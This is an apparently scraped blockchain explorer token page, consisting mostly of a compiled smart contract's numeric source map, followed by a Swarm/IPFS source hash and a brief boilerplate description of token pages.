2421:6;:19:::0;;-1:-1:-1;;;;;;2421:19:0::1;::::0;;2300:148::o;3437:104::-;3493:13;3526:7;3519:14;;;;;:::i;3917:175::-;4003:4;4020:42;140:10;4044:9;4055:6;4020:9;:42::i;5167:693::-;2151:6;;-1:-1:-1;;;;;2151:6:0;5223:10;:21;:41;;;;-1:-1:-1;5249:5:0;;;;:14;5223:41;5214:88;;;;-1:-1:-1;;;5214:88:0;;;;;;;:::i;:::-;5339:7;;5315:45;;5332:4;;-1:-1:-1;;;;;5339:7:0;-1:-1:-1;;5315:8:0;:45::i;:::-;5373:21;5412:5;5397:12;;:20;;;;:::i;:::-;:36;;5421:11;5397:36;:::i;:::-;5462:4;5444:24;;;;:9;:24;;;;;:41;;5373:60;;-1:-1:-1;5373:60:0;;5444:24;;;:41;;5373:60;;5444:41;:::i;:::-;;;;-1:-1:-1;;5506:10:0;5496:21;;;;:9;:21;;;;;:38;;5521:13;;5496:21;:38;;5521:13;;5496:38;:::i;:::-;;;;-1:-1:-1;;5550:50:0;;2720:25:1;;;5579:4:0;;5559:10;;5550:50;;2708:2:1;2693:18;5550:50:0;;;;;;;5632:6;;;;;;;;;-1:-1:-1;;;;;5632:6:0;-1:-1:-1;;;;;5632:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5661:4;;;5620:61;;-1:-1:-1;;;5620:61:0;;-1:-1:-1;;;;;5661:4:0;;;5620:61;;;6464:34:1;;;;5675:4:0;6514:18:1;;;6507:43;5620:40:0;;;;;;;6399:18:1;;5620:61:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5613:4;:68;;-1:-1:-1;;;;;5613:68:0;;;-1:-1:-1;;;;;;5613:68:0;;;;;;5692:6;;;:13;5713:9;5732:4;5739:13;;5713:9;5613:68;;:4;5789:1;5792:7;2151:6;;-1:-1:-1;;;;;2151:6:0;;2086:79;5792:7;5692:108;;;;;;-1:-1:-1;;;;;;5692:108:0;;;-1:-1:-1;;;;;7012:15:1;;;5692:108:0;;;6994:34:1;7044:18;;;7037:34;;;;7087:18;;;7080:34;;;;7130:18;;;7123:34;;;;7206:4;7194:17;;;7173:19;;;7166:46;7249:17;;;7228:19;;;7221:46;7304:17;;7283:19;;;7276:46;7359:17;7338:19;;;7331:46;7414:15;;;7393:19;;;7386:44;6928:19;;5692:108:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;5813:5:0;:12;;-1:-1:-1;;5813:12:0;5821:4;5813:12;;;-1:-1:-1;;5840:12:0;5827:10;:25;5167:693::o;4698:346::-;-1:-1:-1;;;;;4800:19:0;;4792:68;;;;-1:-1:-1;;;4792:68:0;;7954:2:1;4792:68:0;;;7936:21:1;7993:2;7973:18;;;7966:30;8032:34;8012:18;;;8005:62;-1:-1:-1;;;8083:18:1;;;8076:34;8127:19;;4792:68:0;7752:400:1;4792:68:0;-1:-1:-1;;;;;4879:21:0;;4871:68;;;;-1:-1:-1;;;4871:68:0;;8359:2:1;4871:68:0;;;8341:21:1;8398:2;8378:18;;;8371:30;8437:34;8417:18;;;8410:62;-1:-1:-1;;;8488:18:1;;;8481:32;8530:19;;4871:68:0;8157:398:1;4871:68:0;-1:-1:-1;;;;;4952:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5004:32;;2720:25:1;;;5004:32:0;;2693:18:1;5004:32:0;;;;;;;;4698:346;;;:::o;6693:583::-;6791:7;:16;;-1:-1:-1;;;;;6791:16:0;;;-1:-1:-1;;;;;;6791:16:0;;;;;;;6809:10;:22;;;;;;;;;;;;;;;6854:5;;;;:13;;6791:16;6854:13;;6853:45;;-1:-1:-1;6873:7:0;;-1:-1:-1;;;;;6873:7:0;6892:4;6873:24;6853:45;:69;;;-1:-1:-1;2151:6:0;;6903:7;;-1:-1:-1;;;;;6903:7:0;;;2151:6;;6903:18;6853:69;6844:117;;;;-1:-1:-1;;;6844:117:0;;8762:2:1;6844:117:0;;;8744:21:1;8801:2;8781:18;;;8774:30;8840:34;8820:18;;;8813:62;-1:-1:-1;;;8891:18:1;;;8884:31;8932:19;;6844:117:0;8560:397:1;6844:117:0;6980:7;;-1:-1:-1;;;;;6980:7:0;6972:71;;;;-1:-1:-1;;;6972:71:0;;9164:2:1;6972:71:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:35;9338:19;;6972:71:0;8962:401:1;6972:71:0;-1:-1:-1;;;;;7062:23:0;;7054:71;;;;-1:-1:-1;;;7054:71:0;;9570:2:1;7054:71:0;;;9552:21:1;9609:2;9589:18;;;9582:30;9648:34;9628:18;;;9621:62;-1:-1:-1;;;9699:18:1;;;9692:33;9742:19;;7054:71:0;9368:399:1;7054:71:0;7138:30;7153:6;7161;7138:14;:30::i;:::-;-1:-1:-1;;;;;;7181:20:0;;;;;;:9;:20;;;;;:30;;7205:6;;7181:20;:30;;7205:6;;7181:30;:::i;:::-;;;;;;;;7248:9;-1:-1:-1;;;;;7231:35:0;7240:6;-1:-1:-1;;;;;7231:35:0;;7259:6;7231:35;;;;2720:25:1;;2708:2;2693:18;;2574:177;6127:558:0;6201:14;6278:4;6272:11;-1:-1:-1;;;6308:4:0;6301:80;6423:6;6416:4;6410;6406:15;6399:31;6471:4;6465;6461:15;6455:4;6448:29;6556:4;6550;6544;6538;6535:1;6528:4;6522:11;6515:5;6510:51;6582:7;6579:36;;;6608:4;6602:11;6592:21;;6579:36;-1:-1:-1;6662:15:0;;-1:-1:-1;6671:6:0;6662;:15;:::i;:::-;-1:-1:-1;;;;;6642:17:0;;;;;;;:9;:17;;;;;:35;;;;-1:-1:-1;6127:558:0;:::o;222:127:1:-;283:10;278:3;274:20;271:1;264:31;314:4;311:1;304:15;338:4;335:1;328:15;354:131;-1:-1:-1;;;;;429:31:1;;419:42;;409:70;;475:1;472;465:12;409:70;354:131;:::o;490:134::-;558:20;;587:31;558:20;587:31;:::i;:::-;490:134;;;:::o;629:1005::-;706:6;714;767:2;755:9;746:7;742:23;738:32;735:52;;;783:1;780;773:12;735:52;823:9;810:23;852:18;893:2;885:6;882:14;879:34;;;909:1;906;899:12;879:34;947:6;936:9;932:22;922:32;;992:7;985:4;981:2;977:13;973:27;963:55;;1014:1;1011;1004:12;963:55;1050:2;1037:16;1072:2;1068;1065:10;1062:36;;;1078:18;;:::i;:::-;1153:2;1147:9;1121:2;1207:13;;-1:-1:-1;;1203:22:1;;;1227:2;1199:31;1195:40;1183:53;;;1251:18;;;1271:22;;;1248:46;1245:72;;;1297:18;;:::i;:::-;1337:10;1333:2;1326:22;1372:2;1364:6;1357:18;1414:7;1407:4;1402:2;1398;1394:11;1390:22;1387:35;1384:55;;;1435:1;1432;1425:12;1384:55;1495:2;1488:4;1484:2;1480:13;1473:4;1465:6;1461:17;1448:50;1542:1;1535:4;1530:2;1522:6;1518:15;1514:26;1507:37;1563:6;1553:16;;;;;;;1588:40;1622:4;1611:9;1607:20;1588:40;:::i;:::-;1578:50;;629:1005;;;;;:::o;1831:418::-;1980:2;1969:9;1962:21;1943:4;2012:6;2006:13;2055:6;2050:2;2039:9;2035:18;2028:34;2114:6;2109:2;2101:6;2097:15;2092:2;2081:9;2077:18;2071:50;2170:1;2165:2;2156:6;2145:9;2141:22;2137:31;2130:42;2240:2;2233;2229:7;2224:2;2216:6;2212:15;2208:29;2197:9;2193:45;2189:54;2181:62;;;1831:418;;;;:::o;2254:315::-;2322:6;2330;2383:2;2371:9;2362:7;2358:23;2354:32;2351:52;;;2399:1;2396;2389:12;2351:52;2438:9;2425:23;2457:31;2482:5;2457:31;:::i;:::-;2507:5;2559:2;2544:18;;;;2531:32;;-1:-1:-1;;;2254:315:1:o;2756:456::-;2833:6;2841;2849;2902:2;2890:9;2881:7;2877:23;2873:32;2870:52;;;2918:1;2915;2908:12;2870:52;2957:9;2944:23;2976:31;3001:5;2976:31;:::i;:::-;3026:5;-1:-1:-1;3083:2:1;3068:18;;3055:32;3096:33;3055:32;3096:33;:::i;:::-;2756:456;;3148:7;;-1:-1:-1;;;3202:2:1;3187:18;;;;3174:32;;2756:456::o;3406:247::-;3465:6;3518:2;3506:9;3497:7;3493:23;3489:32;3486:52;;;3534:1;3531;3524:12;3486:52;3573:9;3560:23;3592:31;3617:5;3592:31;:::i;:::-;3642:5;3406:247;-1:-1:-1;;;3406:247:1:o;3658:388::-;3726:6;3734;3787:2;3775:9;3766:7;3762:23;3758:32;3755:52;;;3803:1;3800;3793:12;3755:52;3842:9;3829:23;3861:31;3886:5;3861:31;:::i;:::-;3911:5;-1:-1:-1;3968:2:1;3953:18;;3940:32;3981:33;3940:32;3981:33;:::i;:::-;4033:7;4023:17;;;3658:388;;;;;:::o;4051:356::-;4253:2;4235:21;;;4272:18;;;4265:30;4331:34;4326:2;4311:18;;4304:62;4398:2;4383:18;;4051:356::o;4412:380::-;4491:1;4487:12;;;;4534;;;4555:61;;4609:4;4601:6;4597:17;4587:27;;4555:61;4662:2;4654:6;4651:14;4631:18;4628:38;4625:161;;4708:10;4703:3;4699:20;4696:1;4689:31;4743:4;4740:1;4733:15;4771:4;4768:1;4761:15;4625:161;;4412:380;;;:::o;5206:127::-;5267:10;5262:3;5258:20;5255:1;5248:31;5298:4;5295:1;5288:15;5322:4;5319:1;5312:15;5338:128;5405:9;;;5426:11;;;5423:37;;;5440:18;;:::i;5471:217::-;5511:1;5537;5527:132;;5581:10;5576:3;5572:20;5569:1;5562:31;5616:4;5613:1;5606:15;5644:4;5641:1;5634:15;5527:132;-1:-1:-1;5673:9:1;;5471:217::o;5693:168::-;5766:9;;;5797;;5814:15;;;5808:22;;5794:37;5784:71;;5835:18;;:::i;5866:125::-;5931:9;;;5952:10;;;5949:36;;;5965:18;;:::i;5996:251::-;6066:6;6119:2;6107:9;6098:7;6094:23;6090:32;6087:52;;;6135:1;6132;6125:12;6087:52;6167:9;6161:16;6186:31;6211:5;6186:31;:::i;7441:306::-;7529:6;7537;7545;7598:2;7586:9;7577:7;7573:23;7569:32;7566:52;;;7614:1;7611;7604:12;7566:52;7643:9;7637:16;7627:26;;7693:2;7682:9;7678:18;7672:25;7662:35;;7737:2;7726:9;7722:18;7716:25;7706:35;;7441:306;;;;;:::o

Swarm Source

ipfs://752485a3a3051c1e8e2c32dbcb5855f1fa71ab89eb445cd944c055088f84aa2f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.